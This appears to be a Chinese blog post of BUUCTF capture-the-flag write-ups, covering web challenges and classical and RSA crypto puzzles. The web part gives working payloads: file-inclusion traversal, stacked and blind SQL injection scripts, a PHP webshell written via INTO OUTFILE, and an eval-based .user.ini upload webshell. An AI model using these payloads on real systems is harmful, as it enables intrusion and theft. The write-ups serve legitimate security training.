follow my dream

buuctf_0x01

字数统计: 2.8k阅读时长: 13 min
2020/01/10 Share

[toc]

主要记录做题和学习经历。

web

warm up

  • 根据提示进入source.php
  • 代码审计
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
     <?php
    highlight_file(__FILE__);
    class emmm
    {
    public static function checkFile(&$page)
    {
    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
    if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
    }

    if (in_array($page, $whitelist)) {
    return true;
    }

    $_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
    return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
    return true;
    }
    echo "you can't see it";
    return false;
    }
    }

    if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
    ) {
    include $_REQUEST['file'];
    exit;
    } else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
    ?>

    payload

  • *checkFile返回true的出口一共有三个,总结起来就是:**
  • 访问的文件是source.php或者hint.php(也就是白名单里的本来就让你访问到的;
  • 截取文件名的第一个 ?之前的内容,该内容必须是source.php或者hint.php
  • 经过url解码后截取文件名的第一个 ?之前的内容,该内容必须是source.php或者hint.php
  • 同时还需利用PHPMyadmin4.81的漏洞,? 和 # 的双重编码 会将前面的文件名单作目录
    1
    2
    3
    <?php
    include "index.php%25%3f/.../../1.txt";
    ?> //include index.php上一级目录下1.txt
    所以payload为?file=hint.php%253f/.../../../../ffffllllaaaagggg

随便注

Injection Response conclusions
?inject=1' or '1'='1 三个 array(2) 字符型
1' order by 3 --+ error 1054 : Unknown column '3' in 'order clause' 但 1' order by 2 --+ 返现正常
select return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 过滤selece、update、delete、drop、insert、where和 .
1';show tables;--+ array(1) { [0]=> string(16) "1919810931114514" }

array(1) {
[0]=>
string(5) “words”
}

两个表 分别为`1919810931114514` `words`
?inject=1';show columns from `words`;--+ id data
1';show columns from `1919810931114514`;--+ flag

方法 1

Orz,佩服大佬思路

因为没有过滤alert,rename,且猜测原代码为 select * from words where id=
则先将words改为words1, 1919810931114514改为words,再将flag列改为 id

1';RENAME TABLE wordsTOwords1;RENAME TABLE 1919810931114514TOwords;ALTER TABLE wordsCHANGEflag idVARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
?inject=1' or '1'='1

再膜拜大佬 wp

方法 2

1
2
3
4
5
SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE sqla from @sql; //预定义SQL语句
EXECUTE sqla; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

这样即可利用char()方法将ASCII码转换为SELECT字符串,接着利用concat()方法进行拼接获得查询的SQL语句,最后执行即可,payload如下:
?inject=';SET @sql=concat(char(115,101,108,101,99,116)," * from 1919810931114514");PREPARE sqla from @sql;EXECUTE sqla;#
?inject=';SET @sql=concat("s","elect"," * from words");PREPARE sqla from @sql;EXECUTE sqla;#

方法 3

  • root 用户 1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;

1';Set @sql=concat("s","elect '<?php @print_r($_GET1);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

  • 将select 用concat拼接
  • .用 char(46)代替
  • MySQL into outputfile给网站留后门,将1.php 写在/var/www/html目录下
  • 传参 /1.php?1=mysql -uroot -proot -e “use supersqli;select flag from `1919810931114514'

再膜拜大佬

easy_tornado

  • /flag.txt

    flag in /fllllllllllllag

  • /welcome.txt

    render

  • /hints.txt

    md5(cookie_secret+md5(filename))

  • 尝试发现在在更改url,后到报错页面error?msg=Error

  • 根据提示,去得cookie_secret
    /error?msg={{handler.settings}}

  • 根据md5(cookie_secret+md5(filename))计算
    filehash

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    import hashlib

    def md5encode(str):
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()


    name = '/fllllllllllllag'
    secret = 'b7c9c5f2-23c3-408c-aaaf-5e77f71ce17f'
    name = name.encode()
    filehash = md5encode((secret + md5encode(name)).encode())
    print(filehash)
    #e253d013ddc9ff18cdc8582b2659b19f

    payloadfile?filename=/fllllllllllllag&filehash=e253d013ddc9ff18cdc8582b2659b19f

easy_sql

  • 堆栈注入
  • set sql_mode=PIPES_AS_CONCAT;会将||视为字符串的连接操作符而非或运算符
  • 可以注入*
    后台逻辑 select $_POST[query] ||flag from flag
    payload 1;set sql_mode=PIPES_AS_CONCAT;select 1
    在select 1||flag from flag的结果类似于select concat(1,flag) from flag;

同时这题没有过滤*,payload query=*,1也可以

admin

Orz 运气爆表 admin密码123一次成功,我傻了爆破大法好
重做
大致思路是利用change.php 来修改admin 的密码
大佬的思路飘吹在此

高明的黑客

\www.tar.gz先在下源代码

源代码

本地搭个环境(PHP7)尝试所有的GET和POST参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os
import requests
from multiprocessing import Pool
#来源 https://blog.csdn.net/weixin_44677409/article/details/93627764
path = "D:/phpstudy_pro/WWW/src/"
files = os.listdir(path)
url = "http://localhost/src/"


def extract(f):
gets = []
with open(path+f, 'r') as f:
lines = f.readlines()
lines = [i.strip() for i in lines]
for line in lines:
if line.find("$_GET['") > 0:
start_pos = line.find("$_GET['") + len("$_GET['")
end_pos = line.find("'", start_pos)
gets.append(line[start_pos:end_pos])
return gets


def exp(start, end):
for i in range(start, end):
filename = files[i]
gets = extract(filename)
print "try: %s" % filename
for get in gets:
new_url = "%s%s?%s=%s" % (url, filename, get, 'echo "got it"')
r = requests.get(new_url)
if 'got it' in r.content:
print new_url
break


def main():
pool = Pool(processes=15)
for i in range(0, len(files), len(files)/15):
pool.apply_async(exp, (i, +len(files)/15,))
pool.close()
pool.join()


if __name__ == "__main__":
main()

result

easy_calc

页面源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}
else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
  • 首先读取目录信息 ? num=1;var_dump(scandir(chr(47)))

目录信息

  • 读取f1agg
  • 0x1 ?%20num=1;var_dump(readfile((hex2bin(dechex(47)).base_convert(25254448,10,36))))
  • 0x2 ?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

    注意num前有一个空格,是因为wef不允许num传字符,但在php解析时,会先将空格去除再运行
    flag

有师傅用利用HTTP请求走私成功了,有兴趣可以看一下

CheckIn

思路先上传.user.ini 使后上传的相应图片能加入到php文件中,从而webshell

姿势点:

  1. 文件头验证
  • JPG :FF D8 FF E0 00 10 4A 46 49 46
  • PNG: 89 50 4E 47
  • GIF(相当于文本的GIF89a):47 49 46 38 39 61

2.上传user.ini

payload

  • 上传.user.ini

    1
    2
    GIF89="123"
    auto_prepend_file=01.gif
  • 上传图片

    1
    2
    GIF89="123"
    <script language=php>eval($_POST['cmd']);</script>

    注意这里<? 型在黑名单

  • 访问uploads/xxxxx/index.php uploads/xxxxx/为图片文件夹

  1. 查看目录 cmd=var_dump(scandir("/"));
    folder
  2. :) flag is here cmd=var_dump(readfile("/flag"));

推荐阅读

[CISCN2019] hello word

借这题回顾知识😓
测试结果
不可行:”,空格,union,#,–+,etc
可行:tab,where,select,from,flag,()

bool盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
url = 'http://4b756718-4a62-433c-bab6-10addbb085eb.node3.buuoj.cn/index.php'
result = ''

for i in range(0, 50):
time.sleep(1)
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#括号真香 :(
payload = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)".format(i,mid)
data = {
"id":payload
}
print(payload)
response = requests.post(url, data = data)
print(response.text)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)

建议两个一块跑
flag1
flag2

SSRF ME

考点

  • 读取文件的特殊方法
  • 哈希扩展
    第一次遇到python web开发

    推荐学习 w3cschool_flask

    wp

极客大挑战 easysql

  • 万能密码
    ?username=admin&password=1%27+or+1%3D%271

极客大挑战 2019]Havefun

… 看源代码

1
2
3
4
5
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

?cat=dog

crypto

md5

看我回旋踢

  • 凯撒

url

就是url 编码

一眼就解密

base64

摩斯

如题

变异凯撒

字符串 ASCII
a ,f,Z,_ a:97,f:102,Z:106, _:95
ctf c:99, t:116 , f:102
flag f:102,l:108,a:97,g:103
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env/ python\
#coding:utf-8
def b_kaisa(mstr):
j = 5
i = 0
lmstr = []
for i in range(len(mstr)):
m = ord(mstr[i])
m = m + j
lmstr.append(chr(m))
i = i + 1
j = j + 1
return lmstr

if __name__ == '__main__':
m_str = 'afZ_r9VYfScOeO_UL^RWUc'
flag = ''
lstr = []
lstr = b_kaisa(m_str)
flag = flag.join(lstr)
print(flag)

Quoted-printable

http://www.mxcz.net/tools/quotedprintable.aspx
=E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6

在所有邮件处理的各式各样的编码中,很多编码的目的都是通过编码手段使 得七位字符的邮件协议体系可以传送八位的二进制文件、双字节语言文字等等。 Quoted-Printable也是这样一些编码中的一个, 它的目的同样是帮助非ASCII 编码的信件传输通过 SMTP。Quoted-Printable 编码是字符对应的编码,每个未 编码的二进制字符被编码成三个字符,即一个等号和一个十六进制的数字,如“=A8”。

password

flag{zs19900315}

zip伪加密

。。。这叫misc吧。。。

Rabbit

https://www.sojson.com/encrypt_rabbit.html

RSA

1
2
3
4
5
6
7
8
9
10
11
12
13

#!/usr/bin/env/ python\
#coding:utf-8

import gmpy2

p=473398607161
q=4511491
e=17
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)

print(d)

丢失的MD5

1
2
3
4
5
6
7
8
9
10
11
import hashlib   
# 补全代码就行
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
m=hashlib.md5()
str = 'TASC'+chr(i)+'O3RJMV'+chr(j)+'WDJKX'+chr(k)+'ZM'
m.update(str.encode('utf-8'))
des=m.hexdigest()#返回摘要,作为十六进制数据字符串值
if 'e9032' in des and 'da' in des and '911513' in des:
print (des)

篱笆墙的影子

https://www.qqxiuzi.cn/bianma/zhalanmima.php
12

Alice&Bob

密码学历史中,有两位知名的杰出人物,Alice和Bob。他们的爱情经过置换和轮加密也难以混淆,即使是没有身份认证也可以知根知底。就像在数学王国中的素数一样,孤傲又热情。下面是一个大整数:98554799767,请分解为两个素数,分解后,小的放前面,大的放后面,合成一个新的数字,进行md5的32位小写哈希,提交答案。 注意:得到的 flag 请包上 flag{} 提交
http://factordb.com/index.php来拆素数

1
2
3
4
5
6
7
import hashlib
# 98554799767 = 101999 · 966233
word = '101999966233'
word = word.encode("utf-8")
m = hashlib.md5()
m.update(word)
print( m.hexdigest())

rsarsa

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2

p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

phi = (p-1)*(q-1)
n = p * q
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(m)

传统知识+经典密码

六十甲子顺序图
根据对应的干支得到
28 30 23 8 17 10 16 30 后面写着+甲子 所有的数加60
得到
88 90 83 68 77 70 76 90
找到ASCII码对照表可得到XZSDMFLZ
栅栏密码(两栏):
XMZFSLDZ
凯撒:
SHUANGYU

大帝的秘密武器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
flag = ''
j = 0
i = 0
str = 'FRPHEVGL'
pstr = 'ComeChina'.upper()
print(pstr)
l_str = []
p_str = []

for i in range(0,8):
l_str.append(str[i])

for j in range(1,26):
for i in range(0,8):
l_str[i] = chr(((ord(str[i])-ord('A') + j) % 26)+ord('A'))

flag = flag.join(l_str)
print(j,flag)
flag =''
## 取 j = 13 求flag
for i in range(len(pstr)):
p_str.append(pstr[i])


for i in range(len(pstr)):
p_str[i] = chr(((ord(pstr[i])-ord('A') + 13) % 26)+ord('A'))

flag = flag.join(p_str)
print(flag)
CATALOG
  1. 1. web
    1. 1.1. warm up
      1. 1.1.1. payload
    2. 1.2. 随便注
      1. 1.2.1. 方法 1
      2. 1.2.2. 方法 2
      3. 1.2.3. 方法 3
    3. 1.3. easy_tornado
    4. 1.4. easy_sql
    5. 1.5. admin
    6. 1.6. 高明的黑客
    7. 1.7. easy_calc
    8. 1.8. CheckIn
      1. 1.8.1. 姿势点:
      2. 1.8.2. payload
      3. 1.8.3. 推荐阅读
    9. 1.9. [CISCN2019] hello word
    10. 1.10. SSRF ME
      1. 1.10.1. 考点
      2. 1.10.2. 推荐学习 w3cschool_flask
      3. 1.10.3. wp
    11. 1.11. 极客大挑战 easysql
    12. 1.12. 极客大挑战 2019]Havefun
  2. 2. crypto
    1. 2.1. md5
    2. 2.2. 看我回旋踢
    3. 2.3. url
    4. 2.4. 一眼就解密
    5. 2.5. 摩斯
    6. 2.6. 变异凯撒
    7. 2.7. Quoted-printable
    8. 2.8. password
    9. 2.9. zip伪加密
    10. 2.10. Rabbit
    11. 2.11. RSA
    12. 2.12. 丢失的MD5
    13. 2.13. 篱笆墙的影子
    14. 2.14. Alice&Bob
    15. 2.15. rsarsa
    16. 2.16. 传统知识+经典密码
    17. 2.17. 大帝的秘密武器